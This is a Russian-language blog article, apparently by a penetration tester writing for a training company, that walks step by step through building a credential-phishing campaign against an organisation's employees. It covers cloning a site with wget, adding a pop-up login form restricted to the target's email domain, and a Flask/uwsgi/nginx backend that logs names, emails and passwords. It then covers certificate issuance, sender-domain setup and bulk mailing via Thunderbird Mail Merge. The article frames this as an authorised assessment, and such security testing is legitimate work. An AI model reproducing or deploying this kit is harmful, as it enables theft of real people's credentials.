← КО ВСЕМ СТАТЬЯМ



Автор статьи: bugaga

Как подготовить фишинговую атаку через рассылку и получить учётные данные сотрудников

ВСЕМ ПРИВЕТ! На связи bugaga — специалист по анализу защищённости внутренней инфраструктуры в Singleton Security. 

Хочу рассказать, как готовил инфраструктуру для фишинговых атак в одном из проектов.
Цель — получить учётные данных сотрудников организации, которую мы проверяли. Для этого делаем поддельную страницу с формой, рассылаем письма и собираем сливки — данные работников.
ДАВАЙТЕ ПОЙМЁМ, ЧТО НУЖНО ДЛЯ АТАКИ:
  • Создать сайт-приманку
  • Сделать форму
  • Подготовить SMTP-сервер для отправки писем
  • Организовать отправку введённых данных на сервер
  • Задеплоить все заготовки на боевую инфраструктуру
Ниже расскажу обо всём в подробностях.
ДЛЯ НАЧАЛА ОПРЕДЕЛИМСЯ С ЛЕГЕНДОЙ

Надо понять два ключевых элемента:

От кого письмо. Легенду можно связать с инфраструктурой заказчика, но тогда придётся регистрировать домен, похожий на основной.

Это не проблема, но встаёт другой вопрос: плашка «Внешний отправитель», которая автоматически вставляется на Exchange-сервере. Письма с ней от домена, похожего на основной, вызывают подозрение. Но в письме от внешнего источника она выглядит вполне логично, так что у получателей может вообще не возникнуть сомнений.

Что предложить в письме. Дальше надо выбрать, на какое чувство жертвы будет воздействовать фишинговая рассылка. Обычно они играют на страхе, любопытстве или любви к халяве. Мы выбрали третий вариант.
Как было у нас

В итоге получилась такая легенда: организация заключила договор с известной компанией, которая продаёт подписку на музыку и кино, и теперь сотрудники могут воспользоваться ей бесплатно.
Легенда есть — начнём готовить инфраструктуру.
СДЕЛАЕМ САЙТ-ПРИМАНКУ

Сначала клонируем сайт. Для этого я использую wget:
 wget --wait=2 --level=inf --limit-rate=20K \
     --recursive --page-requisites \
     --user-agent=Mozilla --no-parent \
     --convert-links --adjust-extension \
     --no-clobber -e robots=off \
     https://example.com
Здесь:

  • wait=2 — ждём указанное количество секунд между загрузками.
  • limit-rate=20K — ограничиваем скорость загрузки количеством байтов в секунду.
  • recursive — включаем рекурсивную загрузку.
  • page-requisites — загружаем файлы для корректного отображения HTML-страницы, в том числе встроенные изображения, звуки и ссылки на таблицы стилей.
  • user-agent=Mozilla — указываем user-agent.
  • no-parent — не поднимаемся выше указанного URL в структуре сайта.
  • convert-links — после загрузки преобразуем ссылки в документе, чтобы они подходили для локального просмотра.
  • adjust-extension — если загружается файл типа application/xhtml+xml или text/html, и URL-адрес не заканчивается регулярным выражением \.[Hh][Tt][Mm][Ll]?, эта опция добавит суффикс .html к локальному имени файла.
  • no-clobber — при запуске wget с параметром -r повторная загрузка файла приведёт к тому, что новая копия просто перезапишет старую. Добавление параметра no-clobber предотвратит это, вместо этого сохраняя исходную версию и игнорируя любые более свежие копии на сервере.
  • e robots=off — игнорируем правила из robots.txt.
  • level — указываем максимальную глубину рекурсии: установили inf в качестве значения для бесконечности.

При таком способе клонирования могут загрузиться не все требуемые файлы. Для этого я обычно делаю тестовый запуск с «python3 -m http. server 80» и смотрю лог. Если встречается ошибка 404, заново скачиваю недостающие файлы, используя wget:
 wget -x https://example.com/file
Эта команда позволяет загрузить файл и сохранить иерархию директорий. Бывает, что ошибки 404 сохраняются, но если это визуально не влияет на функциональность сайта, на это можно закрыть глаза.
  • Преподаватели из Kaspersky Lab, Positive Technologies, Bi. Zone и других лидеров отрасли
  • Инструменты и сценарии, актуальные в 2026 году
  • Персональные лабораторные стенды с доступом 24/7
  • Поддержка наставников
  • Участие в реальных кибериспытаниях компаний
  • Возможность получить первый заработок и стажировку уже во время обучения
Стань хакером
и начни зарабатывать прямо во время обучения!
31 января стартует поток обучения на курсе «Пентестер»
Тебя ждут:
Модуль «Оценка устойчивости средств защиты» от Егора Зайцева
01
Модуль «Результативный Bug Bounty» от Standoff365
02
+
Бонусные модули для студентов потока:
СОЗДАДИМ ФОРМУ ДЛЯ ВВОДА ДАННЫХ.
Лень никто не отменял: делать целую страницу трудозатратно, поэтому давайте лучше создадим всплывающее окошко. Оно появится через несколько секунд после перехода на сайт и не закроется, пока человек не введёт данные. Основная страница останется на фоне. Такое решение экономит время, при этом сохраняется визуальная идентичность.

Чтобы сверстать всплывающее окно, можно использовать вайбкодинг. Языковые модели успешно с этим справляются, только придётся повозиться с дебагом, потому что не всё получается с первого раза.

Обычно для готового кода я использую место сразу после тега head в начале body, а блок стилей оставляю в head. Так удобно сразу получить доступ к коду, если нужно по-быстрому что-то изменить. В итоге форма получилась такой:
После открытия сайта всплывает окошко, а на заднем фоне — клонированное приложение
Так выглядит само окошко с формой
В форме есть проверка ввода данных: если доменное имя в поле e-mail не совпадает с тем, что нам нужно, выдаётся ошибка. В итоге данные отправляем на свой сервер, а пользователя редиректим на оригинальный сайт.
Если ввести личную почту, форму отправить не получится
ОБРАБОТАЕМ ПОЛУЧЕННЫЕ ДАННЫЕ НА БЭКЕ.
Для этого я обычно использую связку flask + uwsgi + nginx.

За предоставление статических данных основного сайта будет отвечать nginx. Также он выступает фильтром: запросы, не связанные с определённой директорией, будут редиректиться на реальный сайт.

Итак, flask приложение app. py будет следующего вида:
from flask import Flask, request, send_from_directory, jsonify
import os
import json

app = Flask(__name__)


@app.route('/api/v1/registration', methods=['POST'])
def registration():
try:
data = request.get_json()
if not data:
return jsonify({"success": False, "message": "Нет данных"}), 400

with open("/app/results/res.jsonl", "a", encoding="utf-8") as f:
f.write(json.dumps(data, ensure_ascii=False) + "\n")

return jsonify({"success": True, "message": "Регистрация успешна"})
except Exception as e:
return jsonify({"success": False, "message": str(e)}), 500
Далее создаём uwsgi-конфиг «uwsgi.ini»:
[uwsgi]
module = app:app
master = true
processes = 4
socket = /app/uwsgi/flask_app.sock
chmod-socket = 660
vacuum = true
die-on-term = true
uid = www-data
Ну и сам nginx-конфиг «/etc/nginx/sites-available/example.com»:
server {
listen 443 ssl;
server_name example.com;
ssl_certificate /app/certs/cert.pem;
ssl_certificate_key /app/certs/key.pem;
root /app/;
location / {
if ($request_uri !~ ^/subscription) {
return 301 https://original.com$request_uri;
}
}

location /subscription/ {
index index.html;
try_files $uri $uri/ =404;
}

location /api/ {
include uwsgi_params;
uwsgi_pass unix:/app/uwsgi/flask_app.sock;
}

access_log /app/logs/nginx-access.log;
error_log /app/logs/nginx-error.log;
}
Также следует выпустить SSL-сертификат. Это можно сделать с инструментом certbot. Запросим сертификат:
certbot certonly --standalone -d example.com --register-unsafely-without-email
Выпущенный сертификат с ключом будут лежать в папке: «etc/letsencrypt/live/example.com». У некоторых доменных регистраторов есть опция бесплатного получения сертификата, в таком случае можно воспользоваться ей.


В ИТОГЕ ИЕРАРХИЯ ДИРЕКТОРИЙ СЛЕДУЮЩАЯ:
/app
├── certs
│ ├── cert.pem
│ └── key.pem
├── logs
│ ├── nginx-access.log
│ └── nginx-error.log
├── results
│ └── res.jsonl
├── subscription
│ ├── index.html (все файлы склонированного сайта)
└── uwsgi
├── app.py
└── uwsgi.ini
ЗАДЕПЛОИМ ВСЁ ЭТО НА VPS

Для начала запустим tmux-сессию и на одном из окон стартанём uwsgi:
chown -R www-data:root /app
uwsgi --ini uwsgi.ini
Далее запускаем nginx:
rm /etc/nginx/sites-available/default
rm /etc/nginx/sites-enabled/default
ln -s /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/
systemctl restart nginx
ТЕПЕРЬ МОЖНО СМЕЛО ПРОТЕСТИРОВАТЬ, ЧТО ПОЛУЧИЛОСЬ.
Переходим на сайт и вводим данные.
Смотрим результат на бэке:
root@phish:~# cat /app/results/res.jsonl
{"fullname": "Иванов Иван Иванович","email": "ivanov@example.com", "password": "SecretPass"}
root@phish:~#
ОСТАЛОСЬ РАЗОСЛАТЬ ФОРМУ ПОЛЬЗОВАТЕЛЯМ

Для этого мы использовали «Яндекс для Бизнеса». Регистрируем аккаунт, создаём организацию и нового пользователя. Дальше нужно завести домен и подтвердить, что он ваш. Есть несколько способов: самый быстрый — через мета-тег на странице.
Подтверждаем, что домен принадлежит нам
Копируем предлагаемый HTML-код и создаём index. html с этим содержимым. Запускаем «python3 -m http. server 80» и подтверждаем владение доменом.
Теперь всё в порядке
Дальше нужно добавить MX запись и записи DKIM, SPF. Здесь всё понятно: копируем данные из админ-панели и добавляем в DNS.

Создаём фишинговое письмо. Я обычно делаю его в виде HTML-страницы, — так выходит красивее. Но не нашёл, как корректно и без костылей импортировать HTML-код в самой почте Яндекса. Проблему решили с помощью стороннего почтового клиента — Thunderbird.

📑 Как подключаться к почте через Thunderbird.

После подключения создаем новое письмо и вставляем HTML-код:
Вставляем код в письмо
ПРОВЕРЯЕМ ПИСЬМО НА РАЗНЫХ ПОЧТОВЫХ КЛИЕНТАХ.
Из опыта скажу, что в Outlook письма могут отображаться некорректно: иногда пропадает целый элемент. Это происходит из-за различий в обработке писем. Зато в других клиентах всё выглядит шикарно. Поэтому стоит путём тестов и дебага прийти к приемлемому результату, сохраняя работоспособность и визуальную красоту.
Так выглядит наша рассылка
ПИСЬМО ГОТОВО, ТЕПЕРЬ ДЕЛАЕМ РАССЫЛКУ.
Подружить Gophish с STMP-сервером Яндекса не получилось, но для поштучной отправки есть другой вариант. Можно использовать плагин Thunderbird «Mail Merge» — он позволяет отправлять письма поштучно с определёнными таймаутами. Работает на основе шаблона. Например, вот как можно разослать письма по адресам из CSV-файла, где название столбца «e-mail»:
Также этот плагин позволяет устанавливать таймауты:
ЕСТЬ НЕСКОЛЬКО ВАРИАНТОВ ОТПРАВИТЬ ПИСЬМА:
  • Save As Draft — сохранить в черновиках. Создаёт отдельные письма для всех адресатов и помещает их в папку «Черновики», не посылая.
  • Send Later — отправить позже. Письма помещаются в папку «Исходящие».
  • Send Now — отправить сразу.

Если решили послать на несколько адресов одним залпом, то при отправке с самой Яндекс почты можно воспользоваться опцией «Скрытые копии». Туда вписываются все пользователи, а в поле «Кому» можно указать любое общее название, например «workers@example.com». Даже если такого адресата нет — письма всё равно дойдут, и конечный пользователь будет видеть только «workers@example.com», а имена других получателей не увидит.
ПОДВЕДЁМ ИТОГИ

Как сработала рассылка:
  • 200 адресов получили письма
  • 12 пользователей оставили данные

Во сколько обошлась инфраструктура:
  • Домен — 119 ₽
  • VPS — 285 ₽
  • «Яндекс для Бизнеса» — 302 ₽
  • Всего — 706 ₽

Какой вывод можно сделать. Фишинг остаётся эффективной атакой и не требует больших финансовых затрат, а благодаря LLM подготовить её стало легче.
Изучить больше методов атак с использованием социальной инженерии можно на курсе «Пентестер»
Как подготовить GoPhish для фишинговой атаки
Пошаговый гайд от bugaga по подготовке фреймворка, который помогает создавать шаблоны писем и фишинговые страницы